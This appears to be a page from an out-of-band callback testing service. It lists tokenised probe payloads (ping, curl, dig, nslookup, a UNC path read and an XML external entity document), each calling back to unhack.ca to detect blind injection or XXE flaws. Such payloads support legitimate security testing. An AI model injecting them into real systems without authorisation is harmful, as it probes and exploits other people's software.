$ ping -c1 -p 00798e984978fc83868acde1e9b28f00 unhack.ca
$ curl http://unhack.ca/p/798e984978fc83868acde1e9b28f
$ dig 798e984978fc83868acde1e9b28f @unhack.ca
$ dig 798e984978fc83868acde1e9b28f.ns.unhack.ca
C:\> nslookup 798e984978fc83868acde1e9b28f unhack.ca
C:\> type \\unhack.ca\798e984978fc83868acde1e9b28f\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/798e984978fc83868acde1e9b28f">]>
<foo>&xxe;</foo>
Waiting for ping...